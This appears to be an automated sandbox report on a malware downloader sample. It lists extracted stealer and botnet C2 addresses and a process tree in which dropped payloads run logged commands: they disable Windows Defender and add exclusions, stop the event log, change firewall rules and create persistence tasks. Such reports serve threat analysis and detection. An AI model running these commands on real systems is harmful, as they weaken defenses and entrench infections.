Resubmissions
09/04/2024, 07:01
240409-htps3scd2w1009/04/2024, 07:01
240409-htf6yacc9x1009/04/2024, 07:00
240409-hs6p7scc811009/04/2024, 07:00
240409-hss44scc7z1007/03/2024, 22:29
240307-2eh7jagg4110Analysis
- max time kernel
78s - max time network
602s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
07/03/2024, 22:29
General
- Target New Text Document mod.exe
- Size 8KB
- Sample240307-2eh7jagg41
- SHA256 2e2e035ece4accdee838ecaacdc263fa526939597954d18d1320d73c8bf810c2
Malware Config
Extracted
-
risepro
-
193.233.132.62
-
147.45.47.116:50500
Extracted
-
redline
-
cheat
-
91.198.77.158:4483
Extracted
-
socks5systemz
-
http://aqubweo.ru/search/?q=67e28dd86a5cf47e155fff1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978ff71ea771795af8e05c645db22f31dfe339426fa11af66c152adb719a9577e55b8603e983a608ef619c5ed9d9832
-
http://aqubweo.ru/search/?q=67e28dd86a5cf47e155fff1a7c27d78406abdd88be4b12eab517aa5c96bd86e9908748835a8bbc896c58e713bc90c91836b5281fc235a925ed3e5cd6bd974a95129070b616e96cc92be510b866db52b2e34aec4c2b14a82966836f23d7f210c7ef9c923ecf67941f
Signatures
- Detect Neshta payload 1 IoCs
- Detect Socks5Systemz Payload 1 IoCs
- Glupteba
Glupteba is a modular loader written in Golang with various components.
- Glupteba payload 2 IoCs
- Neshta
Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.
- Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar payload 1 IoCs
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 3 IoCs
- RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
- SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
- SectopRAT payload 2 IoCs
- Socks5Systemz
Socks5Systemz is a botnet written in C++.
- StealthWorker
StealthWorker is golang-based brute force malware.
- Contacts a large (2272) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
- StealthWorker payload 1 IoCs
- Creates new service(s) 1 TTPs
- Downloads MZ/PE file
- Modifies Windows Firewall 2 TTPs 1 IoCs
- Stops running service(s) 3 TTPs
- Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 5 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 26 IoCs
- Identifies Wine through registry keys 2 TTPs 1 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
- Loads dropped DLL 4 IoCs
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- UPX packed file 2 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Unexpected DNS network traffic destination 1 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
- Drops file in System32 directory 2 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
- Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Detects Pyinstaller 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 4 IoCs
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Modifies data under HKEY_USERS 64 IoCs
- Suspicious behavior: EnumeratesProcesses 46 IoCs
- Suspicious use of AdjustPrivilegeToken 7 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\a\june.exe"C:\Users\Admin\AppData\Local\Temp\a\june.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-2FLTL.tmp\june.tmp"C:\Users\Admin\AppData\Local\Temp\is-2FLTL.tmp\june.tmp" /SL5="$5021C,1513159,56832,C:\Users\Admin\AppData\Local\Temp\a\june.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Cruise Mailer\cruisemailer.exe"C:\Users\Admin\AppData\Local\Cruise Mailer\cruisemailer.exe" -i4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Cruise Mailer\cruisemailer.exe"C:\Users\Admin\AppData\Local\Cruise Mailer\cruisemailer.exe" -s4⤵
- Executes dropped EXE
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\tupak.exe"C:\Users\Admin\AppData\Local\Temp\a\tupak.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
-
-
C:\Users\Admin\AppData\Local\Temp\a\new.exe"C:\Users\Admin\AppData\Local\Temp\a\new.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\a\low.exe"C:\Users\Admin\AppData\Local\Temp\a\low.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\may.exe"C:\Users\Admin\AppData\Local\Temp\a\may.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-9PCME.tmp\may.tmp"C:\Users\Admin\AppData\Local\Temp\is-9PCME.tmp\may.tmp" /SL5="$60208,1667658,56832,C:\Users\Admin\AppData\Local\Temp\a\may.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\timeSync.exe"C:\Users\Admin\AppData\Local\Temp\a\timeSync.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\a\timeSync.exe" & del "C:\ProgramData\*.dll"" & exit3⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 54⤵
- Delays execution with timeout.exe
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2832 -s 25483⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\s1.exe"C:\Users\Admin\AppData\Local\Temp\a\s1.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://lightminer.co/71711743⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff876b646f8,0x7ff876b64708,0x7ff876b647184⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2120,17046535115377984429,9480610286977636330,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2132 /prefetch:24⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2120,17046535115377984429,9480610286977636330,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 /prefetch:34⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2120,17046535115377984429,9480610286977636330,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2808 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,17046535115377984429,9480610286977636330,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3264 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,17046535115377984429,9480610286977636330,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3284 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,17046535115377984429,9480610286977636330,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4092 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,17046535115377984429,9480610286977636330,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4692 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,17046535115377984429,9480610286977636330,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5276 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,17046535115377984429,9480610286977636330,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5148 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2120,17046535115377984429,9480610286977636330,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5108 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2120,17046535115377984429,9480610286977636330,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5108 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2120,17046535115377984429,9480610286977636330,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2232 /prefetch:24⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\288c47bbc1871b439df19ff4df68f07666.exe"C:\Users\Admin\AppData\Local\Temp\a\288c47bbc1871b439df19ff4df68f07666.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\InstallSetup_four.exe"C:\Users\Admin\AppData\Local\Temp\InstallSetup_four.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\u4mw.0.exe"C:\Users\Admin\AppData\Local\Temp\u4mw.0.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5644 -s 20125⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\u4mw.1.exe"C:\Users\Admin\AppData\Local\Temp\u4mw.1.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Temp\Task.bat" "5⤵
-
C:\Windows\SysWOW64\chcp.comchcp 12516⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\Admin\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F6⤵
- Creates scheduled task(s)
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6008 -s 15164⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe"C:\Users\Admin\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe"C:\Users\Admin\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe"C:\Users\Admin\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe"C:\Users\Admin\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe"6⤵
- Executes dropped EXE
- Checks for VirtualBox DLLs, possible anti-VM trick
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile7⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"7⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes8⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile7⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile7⤵
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe7⤵
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe8⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile9⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F9⤵
- Creates scheduled task(s)
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f9⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile9⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile9⤵
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll9⤵
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll9⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F9⤵
- Creates scheduled task(s)
-
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"9⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)10⤵
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)11⤵
- Launches sc.exe
-
-
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F9⤵
- Creates scheduled task(s)
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\FourthX.exe"C:\Users\Admin\AppData\Local\Temp\FourthX.exe"3⤵
- Executes dropped EXE
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart4⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart5⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "UTIXDCVF"4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "UTIXDCVF" binpath= "C:\ProgramData\xcfonrchdkar\vueqjgslwynd.exe" start= "auto"4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "UTIXDCVF"4⤵
- Launches sc.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\installer.exe"C:\Users\Admin\AppData\Local\Temp\a\installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-VF558.tmp\installer.tmp"C:\Users\Admin\AppData\Local\Temp\is-VF558.tmp\installer.tmp" /SL5="$A01D0,3121405,832512,C:\Users\Admin\AppData\Local\Temp\a\installer.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-QLFUQ.tmp\netcorecheck_x64.exe"C:\Users\Admin\AppData\Local\Temp\is-QLFUQ.tmp\netcorecheck_x64.exe" Microsoft.NETCore.App 3.1.224⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\is-QLFUQ.tmp\netcorecheck_x64.exe"C:\Users\Admin\AppData\Local\Temp\is-QLFUQ.tmp\netcorecheck_x64.exe" Microsoft.NETCore.App 5.0.134⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\is-QLFUQ.tmp\netcorecheck_x64.exe"C:\Users\Admin\AppData\Local\Temp\is-QLFUQ.tmp\netcorecheck_x64.exe" Microsoft.NETCore.App 6.0.114⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\is-QLFUQ.tmp\netcorecheck_x64.exe"C:\Users\Admin\AppData\Local\Temp\is-QLFUQ.tmp\netcorecheck_x64.exe" Microsoft.NETCore.App 7.0.04⤵
- Executes dropped EXE
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\test.exe"C:\Users\Admin\AppData\Local\Temp\a\test.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\a\test.exe"C:\Users\Admin\AppData\Local\Temp\a\test.exe"3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c fortniteselenium.bat4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\1.exe"C:\Users\Admin\AppData\Local\Temp\a\1.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\pef.exe"C:\Users\Admin\AppData\Local\Temp\a\pef.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\p.exe"C:\Users\Admin\AppData\Local\Temp\a\p.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\nc64.exe"C:\Users\Admin\AppData\Local\Temp\a\nc64.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Rar.exe"C:\Users\Admin\AppData\Local\Temp\a\Rar.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\win.exe"C:\Users\Admin\AppData\Local\Temp\a\win.exe"2⤵
-
C:\Windows\SysWOW64\cmd.execmd /Q /C C:\Users\Admin\AppData\Local\Temp/s.bat3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\beacon.exe"C:\Users\Admin\AppData\Local\Temp\a\beacon.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\momsstiflersdgjboigfnbio.exe"C:\Users\Admin\AppData\Local\Temp\a\momsstiflersdgjboigfnbio.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\eoq_cli_dbg\vmtoolsd.exeC:\Users\Admin\AppData\Local\Temp\eoq_cli_dbg\vmtoolsd.exe3⤵
-
C:\Users\Admin\AppData\Roaming\eoq_cli_dbg\vmtoolsd.exe"C:\Users\Admin\AppData\Roaming\eoq_cli_dbg\vmtoolsd.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe5⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe6⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\poolsdnkjfdbndklsnfgb.exe"C:\Users\Admin\AppData\Local\Temp\a\poolsdnkjfdbndklsnfgb.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Updatemonitor\livecall.exeC:\Users\Admin\AppData\Local\Temp\Updatemonitor\livecall.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Updatemonitor\livecall.exe"C:\Users\Admin\AppData\Roaming\Updatemonitor\livecall.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe5⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe6⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\tg.exe"C:\Users\Admin\AppData\Local\Temp\a\tg.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Vertex_Craze_20240225061753481.exe"C:\Users\Admin\AppData\Local\Temp\a\Vertex_Craze_20240225061753481.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\3582-490\Vertex_Craze_20240225061753481.exe"C:\Users\Admin\AppData\Local\Temp\3582-490\Vertex_Craze_20240225061753481.exe"3⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\random.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\a\random.exeC:\Users\Admin\AppData\Local\Temp\a\random.exe3⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\syncUpd.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\a\syncUpd.exeC:\Users\Admin\AppData\Local\Temp\a\syncUpd.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4152 -s 10164⤵
- Program crash
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\PINNAC~1.EXE"2⤵
-
C:\Users\Admin\AppData\Local\Temp\a\PINNAC~1.EXEC:\Users\Admin\AppData\Local\Temp\a\PINNAC~1.EXE3⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\QUANTU~1.EXE"2⤵
-
C:\Users\Admin\AppData\Local\Temp\a\QUANTU~1.EXEC:\Users\Admin\AppData\Local\Temp\a\QUANTU~1.EXE3⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\TEST_2~1.EXE"2⤵
-
C:\Users\Admin\AppData\Local\Temp\a\TEST_2~1.EXEC:\Users\Admin\AppData\Local\Temp\a\TEST_2~1.EXE3⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\GOLDPR~1.EXE"2⤵
-
C:\Users\Admin\AppData\Local\Temp\a\GOLDPR~1.EXEC:\Users\Admin\AppData\Local\Temp\a\GOLDPR~1.EXE3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\juditttt.exe"2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 6008 -ip 60081⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 2832 -ip 28321⤵
-
